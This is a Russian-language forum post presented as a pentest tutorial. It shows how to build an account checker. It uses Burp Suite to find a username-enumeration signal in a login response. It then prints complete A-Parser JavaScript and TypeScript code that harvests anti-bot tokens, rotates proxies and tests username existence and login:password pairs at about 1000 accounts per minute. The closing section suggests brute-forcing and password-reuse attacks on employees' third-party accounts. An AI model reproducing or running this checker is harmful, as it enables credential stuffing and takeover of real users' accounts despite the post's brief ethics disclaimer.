 |

08.07.2023, 00:20
|
|
Новичок
Регистрация: 07.07.2023
Сообщений: 0
С нами:
1504446
Репутация:
0
|
|
Приветствую! Используя знания в области JavaScript, можно более эффективно и всесторонне исследовать безопасность веб-приложений. Навыки программирования на JS позволяют значительно расширить границы автоматизации и вариативности атак, углубляя анализ и повышая качество выполнения атак на конкретные цели. Такой подход способствует более продуктивной работе.
Важно понять, что вас интересует. Лично меня всегда привлекали утилиты для пентеста, написанные своими руками: регчекеры, брутфорсеры и т.д. Но когда мне это было интересно - в интернете не было нормальных инструкций. Я находил некоторые проекты на Python, но они были не оптимизированы и не продуманы.
На мой взгляд, настоящий мастер пентеста — это тот, кто умеет создавать и редактировать программное обеспечение (например, как @N1GGA и @BearSec). Ведь на GitHub полно уникальных утилит, но, к сожалению, они часто не доработаны или требуют обновлений. Нанять кого-то, чтобы написать ПО на заказ, довольно дорого. Поэтому я решил создать свой ресурс с заметками и обратился к людям, которые пишут ПО на заказ. Мне нужно было ПО, где можно загрузить логин и пароль, добавить прокси и сохранить результаты в отдельный файл.
Эта идея пришла мне, когда я пытался решить задачу на курсе WAPT с помощью инструмента Hydra. Я не мог найти, как добавить прокси, которые обновляются по ссылке. Я прочитал много статей, но так и не нашел готового решения. Думаю, объяснять, зачем нужны прокси, не стоит — это и так все знают. Я сам еще новичок и не умею программировать, поэтому решил заказать разработку ПО у профессионалов, когда появились свободные финансы:

Цена была высокой. Я не знаю, почему автор берет за свои услуги 700 долларов... В итоге, я решил по-своему: сделать чекер с помощью Burp Suite Professional. Получилось, но я так и не понял, как добавить в него прокси по ссылке. Именно в этом и заключается проблема. Вот как все происходило:
У меня есть веб-ресурс с заметками. То есть можно войти в аккаунт и создать заметку, которая будет сохранена. Если аккаунт не зарегистрирован, пользователь увидит определенное сообщение:


Если аккаунт существует, то его перенаправит на форму для ввода пароля. Если пароль неверный, то на экране появится соответствующее сообщение:


Поэтому нужно предусмотреть все исходы. Всё зависит от ресурса: где-то надо подтверждать почту, где-то пароль неверный, где-то аккаунт не существует и т.п. Для теста нужно зарегистрировать существующий аккаунт, несуществующий (случайный логин), подтвержденный аккаунт, неподтвержденный аккаунт. Дальше уже зависит от того, что вам нужно.
Теперь откроем Burp Suite и введем несуществующий login. Перехватим и посмотрим на POST-запрос, который мы отправляем:

Мы отправляем username, которого нет в бд. Перенаправляем запрос в Repeater и отправляем запрос еще раз. Будем смотреть ответ:

Как мы видим, если юзернейма нет в базе данных, то в ответ прилетает сообщение: ”Аккаунта с таким адресом эл. почты или именем пользователя не существует”
Теперь попробуем отправить Email, который существует. Я отправил и ошибок никаких не было, а значит нужно ориентироваться конкретно на несуществующий Email, потому что так будет проще. Если почта не существует, то в ответе есть вот такое содержимое:

Отлично! Мы знаем, как указать Burp Suite какие аккаунты не существуют. Если вам не удалось найти что-то уникальное сразу на глаз, то попробуйте взять любой текстовой редактор и закинуть туда 2 responsa в случае успеха и невалида. Далее просто проверьте на уникальность. Также можно сразу в Burp Suite проверить два запроса на уникальность, используя функцию "Comparer" (Сравнение)
Закидываем содержимое ответа в Comparer и смотрим:

На глаз я правильно определил изначально. Как мы видим подсвечивается “usePasswordAuth”: значение отличается. Мы определили разницу между успехом и невалидом в двух ответах. Самое время закинуть наш запрос (шаблон) в intruder. Меняться будет только email, поэтому выделяем его. Добавляем в payload почты, которые мы хотим проверить:


Добавляем наш текст для фильтрации и запускаем:


Выделяем все результаты и копируем в текстовой редактор. Например, в emeditor. Пробел заменяем на точку с запятой:

Выбираем разделитель “Точка с запятой” и выделяем нужную колонку (где по UsePassword был поиск в ответ):


Ставим галочку только в выделенном фрагменте, ищем цифру 1. Это несуществующие аккаунты, так как мы искали по false. Далее нажимаем "Закладка".
Возвращаемся на исходную позицию и смотрим, что у нас выделилось:

Как раз ненужная строчка с несуществующим емейлом. Теперь мы можем ее просто удалить:

Да, это действительно работает, но это для вашего понимания. Работать так точно не стоит – это абсолютно неудобно. Нужно всё автоматизировать, чтобы так сильно не мучаться. Чего нам не хватает?
Мне в голову пришло два варианта:- Искать инструмент в OpenBullet - набор для веб-тестирования, который позволяет выполнять запросы к целевому веб-приложению и предлагает множество инструментов для работы с результатами). Это программное обеспечение может использоваться для очистки и анализа данных, автоматического пентеста, модульного тестирования с помощью selenium и многого другого.
GitHub - openbullet/openbullet: The OpenBullet web testing application.
- Искать человека, который работу на a-parser. У меня он давно еще был куплен. Я прочитал, что там можно создавать шаблоны на JavaScript и поэтому подумал, что это будет неплохим решением.
Я скинул полное тестовое задание и показал мое решение через Burp Suite. Ребята согласились взяться за мой заказ. Спустя пару дней всё было готово.Я импортировал шаблон в a-parser и вот такие файлы появились:
 - .map файл - это файл, который создается при преобразовании TS в JS
- .ts - код на typrescript
- .js - код на javascript
Если посмотреть код парсера, то там легко читается алгоритм:- Получение необходимых кук
- В зависимости от вида запроса:
- проверка существования логина
ИЛИ- проверка пароля для авторизации по указанному логину
Никакие дополнительные библиотеки в данном парсере не используются.
Проверка аккаунта на наличие регистрации:
JavaScript:
Код:
"use strict"
;
Object
.
defineProperty
(
exports
,
"__esModule"
,
{
value
:
true
}
)
;
exports
.
JS_order_3749
=
void
0
;
const
a_parser_types_1
=
require
(
"a-parser-types"
)
;
class
JS_order_3749
extends
a_parser_types_1.BaseParser
{
async
parse
(
set, results
)
{
const
q
=
set
.
query
.
split
(
/:/
)
;
for
(
let
attempt
=
1
;
attempt
{
try
{
hpts
=
data
.
match
(
/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/
)
[
1
]
;
hptsh
=
data
.
match
(
/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/
)
[
1
]
;
return
/
ak_bmsc
=
[
^
;
]
+
/
.
test
(
hdr
[
'set-cookie'
]
)
;
}
catch
(
e
)
{
return
false
;
}
}
]
}
)
;
if
(
!
success
)
{
await
this
.
proxy
.
next
(
)
;
continue
;
}
const
result
=
q
[
1
]
?
await
this
.
checkPassword
(
q
[
0
]
,
q
[
1
]
,
hpts
,
hptsh
,
attempt
)
:
await
this
.
checkLogin
(
q
[
0
]
,
hpts
,
hptsh
,
attempt
)
;
if
(
result
)
{
results
.
status
=
result
;
results
.
success
=
1
;
break
;
}
}
return
results
;
}
async
checkLogin
(
username, hpts, hptsh, attempt
)
{
let
json
;
const
{
success
}
=
await
this
.
request
(
'POST'
,
'https://www.example.com/Login.action'
,
{
username
,
password
:
''
,
evaluateUsername
:
''
,
hpts
,
hptsh
,
analyticsLoginOrigin
:
'login_action'
,
clipperFlow
:
'false'
,
showSwitchService
:
'true'
,
usernameImmutable
:
'false'
}
,
{
parsecodes
:
{
200
:
1
}
,
attempt
,
headers
:
{
referer
:
'https://www.example.com/Login.action'
,
'x-requested-with'
:
'XMLHttpRequest'
}
,
check_content
:
[
(
data
)
=>
{
try
{
json
=
JSON
.
parse
(
data
)
;
if
(
json
.
captchaShow
)
return
false
;
return
true
;
}
catch
(
e
)
{
return
false
;
}
}
]
}
)
;
if
(
success
)
{
return
json
.
usePasswordAuth
?
1
:
-
1
;
}
else
{
return
0
;
}
}
async
checkPassword
(
username, password, hpts, hptsh, attempt
)
{
const
{
success
,
headers
}
=
await
this
.
request
(
'POST'
,
'https://www.example.com/Login.action'
,
{
username
,
password
,
login
:
'Sign in'
,
hpts
,
hptsh
,
analyticsLoginOrigin
:
'login_action'
,
clipperFlow
:
'false'
,
showSwitchService
:
'true'
,
usernameImmutable
:
'false'
}
,
{
parsecodes
:
{
200
:
1
,
302
:
1
}
,
attempt
,
headers
:
{
referer
:
'https://www.example.com/Login.action'
,
'x-requested-with'
:
'XMLHttpRequest'
}
,
onlyheaders
:
1
}
)
;
return
success
?
headers
.
Status
==
302
?
1
:
headers
.
Status
==
200
?
-
1
:
0
:
0
;
}
}
exports
.
JS_order_3749
=
JS_order_3749
;
JS_order_3749
.
defaultConf
=
{
results
:
{
flat
:
[
[
'status'
,
'Status'
]
]
}
,
max_size
:
1024
*
1024
,
results_format
:
"$query: $status\\n"
}
;
//# sourceMappingURL=order-3749.js.map
Проверка Email:
Код:
Код:
import { BaseParser } from 'a-parser-types';
export class JS_order_3749 extends BaseParser {
static defaultConf: typeof BaseParser.defaultConf = {
results: {
flat: [
['status', 'Status']
]
},
max_size: 1024 * 1024,
results_format: "$query: $status\\n"
};
async parse(set, results) {
const q = set.query.split(/:/);
for(let attempt = 1; attempt {
try {
hpts = data.match(/getElementById\("hpts"\)\.value\s*=\s*"([^"]+)/)[1];
hptsh = data.match(/getElementById\("hptsh"\)\.value\s*=\s*"([^"]+)/)[1];
return /ak_bmsc=[^;]+/.test(hdr['set-cookie']);
} catch(e) {
return false;
}
}]
});
if(!success) {
await this.proxy.next();
continue;
}
const result = q[1] ? await this.checkPassword(q[0], q[1], hpts, hptsh, attempt) : await this.checkLogin(q[0], hpts, hptsh, attempt);
if(result) {
results.status = result;
results.success = 1;
break;
}
}
return results;
}
async checkLogin(username, hpts, hptsh, attempt) {
let json;
const {success} = await this.request('POST', 'https://www.example.com/Login.action', {
username,
password: '',
evaluateUsername: '',
hpts,
hptsh,
analyticsLoginOrigin: 'login_action',
clipperFlow: 'false',
showSwitchService: 'true',
usernameImmutable: 'false'
}, {
parsecodes: { 200: 1 },
attempt,
headers: {
referer: 'https://www.example.com/Login.action',
'x-requested-with': 'XMLHttpRequest'
},
check_content: [(data) => {
try {
json = JSON.parse(data);
if(json.captchaShow) return false;
return true;
} catch(e) {
return false;
}
}]
});
if(success) {
return json.usePasswordAuth ? 1 : -1;
} else {
return 0;
}
}
async checkPassword(username, password, hpts, hptsh, attempt) {
const {success, headers} = await this.request('POST', 'https://www.example.com/Login.action', {
username,
password,
login: 'Sign in',
hpts,
hptsh,
analyticsLoginOrigin: 'login_action',
clipperFlow: 'false',
showSwitchService: 'true',
usernameImmutable: 'false'
}, {
parsecodes: { 200: 1, 302: 1 },
attempt,
headers: {
referer: 'https://www.example.com/Login.action',
'x-requested-with': 'XMLHttpRequest'
},
onlyheaders: 1
});
return success ? headers.Status == 302 ? 1 : headers.Status == 200 ? -1 : 0 : 0;
}
}

На вход можно подавать как Email, так и Emailassword. Давайте посмотрим, какая скорость проверки будет на 100 потоках. В минуту можно проверять +- 1000 аккаунтов. Результат автоматически сохраняется в текстовой файл:


Если вам разрешено проводить атаки на проникновение и вы не смогли найти уязвимостей в одной из целей, но заметили, что администратор или сотрудник зарегистрирован на другом стороннем сервисе, то написание подобного скрипта может быть полезно в следующих случаях:- Вы можете написать скрипт, чтобы перебрать возможные пароли этого администратора или сотрудника на стороннем сервисе. Это может быть полезно, если для этого аккаунта используется слабый или уязвимый пароль.
- Если администратор или сотрудник используют тот же самый пароль на разных сервисах, вы можете использовать скрипт для проверки, не совпадают ли пароли между целью, где вы не нашли уязвимостей, и сторонним сервисом.
- При проведении подобной атаки на сторонний сервис вы можете получить дополнительную информацию, которую можно использовать для дальнейшей атаки на целевую систему. Например, вы можете получить информацию о последовательности пароля или описать ошибки авторизации, которые можно использовать для усиления атаки на основную цель.
Однако важно соблюдать этику и законы при проведении пентеста. Убедитесь, что у вас есть разрешение от компании и следуйте их правилам и регламенту, чтобы избежать юридических проблем или нанесения ущерба компании.
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|